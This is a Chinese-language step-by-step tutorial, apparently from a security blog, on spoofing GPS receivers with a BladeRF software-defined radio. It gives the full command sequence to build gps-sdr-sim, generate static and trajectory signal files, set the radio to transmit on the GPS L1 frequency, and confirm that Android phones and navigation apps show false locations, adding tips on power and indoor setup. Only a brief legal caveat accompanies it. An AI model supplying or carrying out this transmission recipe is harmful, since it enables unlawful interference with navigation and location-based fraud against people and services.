使用bladeRF进行GPS欺骗
字数 1228 2025-08-22 12:22:15

使用BladeRF进行GPS欺骗攻击 - 详细教学文档

1. 简介

1.1 BladeRF简介

BladeRF是一款由Nuand公司开发的软件定义无线电(SDR)平台,具有以下特点:

  • 高性能、可编程设备
  • 能够发送和接收无线电频率信号
  • 通过软件控制无线电通信的各个方面
  • 替代传统硬件方法的灵活解决方案

1.2 GPS系统简介

GPS(全球定位系统)是基于卫星导航的定位技术:

  • 通过一组卫星确定接收器的位置
  • 卫星持续广播自己的位置坐标和时间戳
  • 接收器通过时间戳和光速计算与卫星的距离
  • 理论上需要3颗卫星定位,实际至少需要4颗以减少误差

2. 环境搭建

2.1 硬件准备

  • BladeRF设备(x40/x115/A4/A9等型号)
  • 运行Kali Linux的主机(推荐)或Windows系统

2.2 Kali Linux环境配置

2.2.1 虚拟机设置

将虚拟机的USB调整为USB3.1模式

2.2.2 安装BladeRF工具

sudo add-apt-repository ppa:nuandllc/bladerf
sudo apt-get update
sudo apt-get install bladerf

2.2.3 安装header文件

sudo apt-get install libbladerf-dev

2.2.4 安装固件和FPGA镜像

根据设备型号选择安装:

sudo apt-get install bladerf-firmware-fx3  # 通用固件
sudo apt-get install bladerf-fpga-hostedx40  # x40型号
sudo apt-get install bladerf-fpga-hostedx115  # x115型号
sudo apt-get install bladerf-fpga-hostedxa4  # 2.0 Micro A4
sudo apt-get install bladerf-fpga-hostedxa9  # 2.0 Micro A9

2.2.5 安装依赖库

sudo apt-get install libusb-1.0-0-dev libusb-1.0-0 build-essential cmake libncurses5-dev libtecla1 libtecla-dev pkg-config git wget

2.2.6 验证设备连接

bladeRF-cli -p

3. GPS数据生成

3.1 获取gps-sdr-sim工具

git clone https://github.com/osqzss/gps-sdr-sim.git
cd gps-sdr-sim
gcc gpssim.c -lm -O3 -o gps-sdr-sim

3.2 准备卫星星历文件

  • 使用项目自带的brdc0010.22n文件
  • 或从NASA等机构获取最新的星历数据

3.3 生成静态GPS数据

示例:生成澳门新葡京的固定坐标数据(22.18982545839303, 113.544124355456)

./gps-sdr-sim -e brdc0010.22n -l 22.18982545839303,113.544124355456,100 -b 16

参数说明:

  • -e: 星历文件
  • -l: 纬度,经度,高度(米)
  • -b: 位宽(8或16)

输出文件:gpssim.bin

3.4 生成动态GPS轨迹数据

  1. 在Google Earth等工具中导出轨迹为KML格式
  2. 使用SatGEN工具将KML转换为MNEA格式
  3. 生成轨迹数据:
./gps-sdr-sim -e brdc0010.22n -g KMLoutput.txt -b 16

4. GPS欺骗实施

4.1 BladeRF配置

进入交互模式:

bladeRF-cli -i

设置发射参数:

bladeRF> set frequency tx1 1575.42M
bladeRF> set samplerate tx1 2.6M
bladeRF> set bandwidth tx1 2.5M

参数说明:

  • 频率:1575.42MHz (GPS L1频段)
  • 采样率:2.6MHz
  • 带宽:2.5MHz

4.2 发射GPS信号

bladeRF> tx config file=gpssim.bin format=bin channel=1
bladeRF> tx start
bladeRF> tx wait

4.3 测试效果

4.3.1 静态欺骗测试

  • 使用Android设备(建议AOSP系统)
  • 打开"GPS Test"等仅GPS定位应用
  • 观察定位结果是否变为预设坐标

4.3.2 动态轨迹测试

  • 使用高德地图等导航应用
  • 观察设备是否按照预设轨迹移动

4.3.3 联网状态测试

  • 测试联网状态下定位应用是否会被欺骗
  • 结果可能因设备型号、Android版本和网络状况而异

5. 注意事项

  1. 法律合规性:GPS欺骗可能违反当地法律,仅限授权测试使用
  2. 星历数据:使用最新星历数据可提高欺骗精度
  3. 设备兼容性:不同BladeRF型号需要对应FPGA镜像
  4. 信号强度:适当调整发射功率以获得最佳效果
  5. 测试环境:室内环境更易成功,避免真实GPS信号干扰

6. 参考资源

  1. BladeRF官方文档
  2. gps-sdr-sim项目
  3. BlackHat论文
  4. 相关技术博客
使用BladeRF进行GPS欺骗攻击 - 详细教学文档 1. 简介 1.1 BladeRF简介 BladeRF是一款由Nuand公司开发的软件定义无线电(SDR)平台,具有以下特点: 高性能、可编程设备 能够发送和接收无线电频率信号 通过软件控制无线电通信的各个方面 替代传统硬件方法的灵活解决方案 1.2 GPS系统简介 GPS(全球定位系统)是基于卫星导航的定位技术: 通过一组卫星确定接收器的位置 卫星持续广播自己的位置坐标和时间戳 接收器通过时间戳和光速计算与卫星的距离 理论上需要3颗卫星定位,实际至少需要4颗以减少误差 2. 环境搭建 2.1 硬件准备 BladeRF设备(x40/x115/A4/A9等型号) 运行Kali Linux的主机(推荐)或Windows系统 2.2 Kali Linux环境配置 2.2.1 虚拟机设置 2.2.2 安装BladeRF工具 2.2.3 安装header文件 2.2.4 安装固件和FPGA镜像 根据设备型号选择安装: 2.2.5 安装依赖库 2.2.6 验证设备连接 3. GPS数据生成 3.1 获取gps-sdr-sim工具 3.2 准备卫星星历文件 使用项目自带的 brdc0010.22n 文件 或从NASA等机构获取最新的星历数据 3.3 生成静态GPS数据 示例:生成澳门新葡京的固定坐标数据(22.18982545839303, 113.544124355456) 参数说明: -e : 星历文件 -l : 纬度,经度,高度(米) -b : 位宽(8或16) 输出文件: gpssim.bin 3.4 生成动态GPS轨迹数据 在Google Earth等工具中导出轨迹为KML格式 使用SatGEN工具将KML转换为MNEA格式 生成轨迹数据: 4. GPS欺骗实施 4.1 BladeRF配置 进入交互模式: 设置发射参数: 参数说明: 频率:1575.42MHz (GPS L1频段) 采样率:2.6MHz 带宽:2.5MHz 4.2 发射GPS信号 4.3 测试效果 4.3.1 静态欺骗测试 使用Android设备(建议AOSP系统) 打开"GPS Test"等仅GPS定位应用 观察定位结果是否变为预设坐标 4.3.2 动态轨迹测试 使用高德地图等导航应用 观察设备是否按照预设轨迹移动 4.3.3 联网状态测试 测试联网状态下定位应用是否会被欺骗 结果可能因设备型号、Android版本和网络状况而异 5. 注意事项 法律合规性:GPS欺骗可能违反当地法律,仅限授权测试使用 星历数据:使用最新星历数据可提高欺骗精度 设备兼容性:不同BladeRF型号需要对应FPGA镜像 信号强度:适当调整发射功率以获得最佳效果 测试环境:室内环境更易成功,避免真实GPS信号干扰 6. 参考资源 BladeRF官方文档 gps-sdr-sim项目 BlackHat论文 相关技术博客